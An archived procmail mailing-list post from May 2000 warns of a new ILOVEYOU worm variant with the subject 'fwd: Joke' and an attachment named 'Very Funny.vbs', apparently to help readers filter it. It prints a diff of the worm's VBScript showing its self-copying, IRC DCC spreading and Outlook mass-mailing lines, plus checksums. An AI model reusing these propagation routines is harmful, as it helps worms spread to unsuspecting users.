procmail
[Top] [All Lists]

Re: IL0VEY0U has mutated

2000-05-04 15:45:27
On Thu, May 04, 2000 at 03:26:05PM -0700, Andrew Edelstein wrote:
Heads up: our worm of the day has mutated into a new version:
Same trojan, only now the subject says "fwd: Joke" and the body is empty. The
attached file is named "Very Funny.vbs"

Thought I'd share the love <eg>, since I've already had a couple of people
ask me for it. Here's a diff of the attached file:


bash-2.03$ diff LOVE-LETTER-FOR-YOU.TXT.vbs Very\ Funny.vbs 
25c25
< c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
---
c.Copy(dirsystem&"\Very Funny.vbs")
118c118
< scriptini.WriteLine "n2=  /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
---
scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\Very Funny.HTM"
185,187c185,187
< male.Subject = "ILOVEYOU"
< male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
< male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
---
male.Subject = "fwd: Joke"
male.Body = vbcrlf&""
male.Attachments.Add(dirsystem&"\Very Funny.vbs")
266c266
< set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
---
set b=fso.CreateTextFile(dirsystem+"\Very Funny.HTM")
268c268
< set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
---
set d=fso.OpenTextFile(dirsystem+"\Very Funny.HTM",2)
274c274
< end sub
\ No newline at end of file
---
end sub

And their cksums:
1912960623 10034 LOVE-LETTER-FOR-YOU.TXT.vbs
1550212417 9931 Very Funny.vbs

-- 
Andrew Edelstein                http://andrew.pure-chaos.com

"I'm getting off right now!"
                                Sarah, 07/24/1999

<Prev in Thread] Current Thread [Next in Thread>